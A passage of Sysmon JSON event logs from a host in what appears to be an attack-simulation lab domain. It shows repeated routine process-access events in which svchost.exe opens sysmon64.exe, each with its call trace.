11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5294,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5295,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5296,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 